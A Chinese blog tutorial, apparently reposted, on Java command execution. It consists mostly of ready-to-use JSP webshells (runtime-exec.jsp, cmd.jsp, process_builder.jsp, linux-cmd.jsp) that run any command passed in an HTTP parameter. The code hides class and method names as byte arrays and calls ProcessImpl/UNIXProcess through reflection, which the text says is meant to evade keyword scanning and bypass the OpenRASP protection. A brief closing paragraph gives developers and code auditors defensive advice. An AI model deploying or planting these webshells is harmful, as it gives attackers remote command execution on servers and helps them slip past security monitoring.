• Java本地命令执行


    Runtime命令执行

    runtime-exec.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.ByteArrayOutputStream" %>
    <%@ page import="java.io.InputStream" %>
    <%
        InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;
    
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }
    
        out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
    %>

    反射Runtime命令执行

    如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。

    reflection-cmd.jsp示例代码:

    ReflectRuntimetest2.java

    package com.superman.test;
    
    import java.io.InputStream;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.Scanner;
    
    public class ReflectRuntimetest2 {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
            String str = "whoami";
    
            // 定义"java.lang.Runtime"字符串变量
            String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
    
            // 反射java.lang.Runtime类获取Class对象
            Class<?> c = Class.forName(rt);
    
            // 反射获取Runtime类的getRuntime方法
            Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
    
            // 反射获取Runtime类的exec方法
            Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
    
            // 反射调用Runtime.getRuntime().exec(xxx)方法
            Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
    
            // 反射获取Process类的getInputStream方法
            Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
            m.setAccessible(true);
    
            // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
            Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\A");
            String result = s.hasNext() ? s.next() : "";
    
            // 输出命令执行结果
            System.out.println(result);
        }
    }

    cmd.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.lang.reflect.Method" %>
    <%@ page import="java.util.Scanner" %>
    
    <%
        String str = request.getParameter("str");
    
        // 定义"java.lang.Runtime"字符串变量
        String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
    
        // 反射java.lang.Runtime类获取Class对象
        Class<?> c = Class.forName(rt);
    
        // 反射获取Runtime类的getRuntime方法
        Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
    
        // 反射获取Runtime类的exec方法
        Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
    
        // 反射调用Runtime.getRuntime().exec(xxx)方法
        Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
    
        // 反射获取Process类的getInputStream方法
        Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
        m.setAccessible(true);
    
        // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
        Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\A");
        String result = s.hasNext() ? s.next() : "";
    
        // 输出命令执行结果
        out.println(result);
    %>

    ProcessBuilder命令执行

    执行一个稍微复杂点的命令:/bin/sh -c "cd /Users/;ls -la;",浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la

    process_builder.jsp

    <%--
      Created by IntelliJ IDEA.
      User: yz
      Date: 2019/12/6
      Time: 10:26 上午
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.ByteArrayOutputStream" %>
    <%@ page import="java.io.InputStream" %>
    <%
        InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;
    
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }
    
        out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
    %>

    process_builder.java

    package com.superman.test;
    
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    
    public class process_builder {
        public static void main(String[] args) throws IOException {
            InputStream in = new ProcessBuilder("whoami").start().getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;
    
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }
    
            System.out.println("<pre>" + new String(baos.toByteArray()) + "</pre>");
        }
    }

    UNIXProcess/ProcessImpl

    UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97

    206111948376

    UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

    UNIXProcess类的forkAndExec示例:

    private native int forkAndExec(int mode, byte[] helperpath,
                                       byte[] prog,
                                       byte[] argBlock, int argc,
                                       byte[] envBlock, int envc,
                                       byte[] dir,
                                       int[] fds,
                                       boolean redirectErrorStream)
            throws IOException;

    最终执行的Java_java_lang_ProcessImpl_forkAndExec:

    206112722220

    Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c

    很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。

    但是因为不能直接调用ProcessImpl所以只能通过反射来获取

    package exec;
    
    import java.io.ByteArrayOutputStream;
    import java.lang.ProcessBuilder.Redirect;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class ProcessImplExec {
        public static void main(String[] args) throws Exception {
            String[] cmds = new String[]{"whoami"};
            Class clazz = Class.forName("java.lang.ProcessImpl");
            Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
            method.setAccessible(true);
            Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
            byte[] bs = new byte[2048];
            int readSize = 0;
            ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
            while ((readSize = e.getInputStream().read(bs)) > 0) {
                infoStream.write(bs, 0, readSize);
            }
            System.out.println(infoStream.toString());
        }
    }

    linux-cmd.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.io.*" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="java.lang.reflect.Method" %>
    
    <%!
        byte[] toCString(String s) {
            if (s == null) {
                return null;
            }
    
            byte[] bytes  = s.getBytes();
            byte[] result = new byte[bytes.length + 1];
            System.arraycopy(bytes, 0, result, 0, bytes.length);
            result[result.length - 1] = (byte) 0;
            return result;
        }
    
        InputStream start(String[] strs) throws Exception {
            // java.lang.UNIXProcess
            String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
    
            // java.lang.ProcessImpl
            String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
    
            Class clazz = null;
    
            // 反射创建UNIXProcess或者ProcessImpl
            try {
                clazz = Class.forName(unixClass);
            } catch (ClassNotFoundException e) {
                clazz = Class.forName(processClass);
            }
    
            // 获取UNIXProcess或者ProcessImpl的构造方法
            Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
    
            assert strs != null && strs.length > 0;
    
            // Convert arguments to a contiguous block; it's easier to do
            // memory management in Java than in C.
            byte[][] args = new byte[strs.length - 1][];
    
            int size = args.length; // For added NUL bytes
            for (int i = 0; i < args.length; i++) {
                args[i] = strs[i + 1].getBytes();
                size += args[i].length;
            }
    
            byte[] argBlock = new byte[size];
            int    i        = 0;
    
            for (byte[] arg : args) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
                // No need to write NUL bytes explicitly
            }
    
            int[] envc    = new int[1];
            int[] std_fds = new int[]{-1, -1, -1};
    
            FileInputStream  f0 = null;
            FileOutputStream f1 = null;
            FileOutputStream f2 = null;
    
            // In theory, close() can throw IOException
            // (although it is rather unlikely to happen here)
            try {
                if (f0 != null) f0.close();
            } finally {
                try {
                    if (f1 != null) f1.close();
                } finally {
                    if (f2 != null) f2.close();
                }
            }
    
            // 创建UNIXProcess或者ProcessImpl实例
            Object object = constructor.newInstance(
                    toCString(strs[0]), argBlock, args.length,
                    null, envc[0], null, std_fds, false
            );
    
            // 获取命令执行的InputStream
            Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
            inMethod.setAccessible(true);
    
            return (InputStream) inMethod.invoke(object);
        }
    
        String inputStreamToString(InputStream in, String charset) throws IOException {
            try {
                if (charset == null) {
                    charset = "UTF-8";
                }
    
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                int                   a   = 0;
                byte[]                b   = new byte[1024];
    
                while ((a = in.read(b)) != -1) {
                    out.write(b, 0, a);
                }
    
                return new String(out.toByteArray());
            } catch (IOException e) {
                throw e;
            } finally {
                if (in != null)
                    in.close();
            }
        }
    %>
    <%
        String[] str = request.getParameterValues("cmd");
    
        if (str != null) {
            InputStream in     = start(str);
            String      result = inputStreamToString(in, "UTF-8");
            out.println("<pre>");
            out.println(result);
            out.println("</pre>");
            out.flush();
            out.close();
        }
    %>

    进阶内容:

    forkAndExec命令执行-Unsafe+反射+Native方法调用、JNI命令执行

    总结

    Java本地命令执行是一个非常高危的漏洞,一旦被攻击者利用后果不堪设想。这个漏洞原理一样是非常简单且容易被发现。开发阶段我们应该尽可能的避免调用本地命令接口,如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令!代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。

  • 相关阅读:
    目前来看较完美的通用二分法分页存储过程,not in模式,适用于非数值ID,可多字段排序,可以distinct
    SQL分页多主键
    word排版教程技巧
    c# 中的 格式说明符
    关于office第一次打开跳出安装窗口的问题我找到、解决方法了
    SQL 语句时,查询的内联接,外联接,空值和联接
    发布网站类的问题
    ERP失败案例:业务流程再造失误
    开发GUI程序时候调出一个CUI窗口用于调试
    GPL, LGPL...
  • 原文地址:https://www.cnblogs.com/sup3rman/p/15489975.html
Copyright © 2020-2023  润新知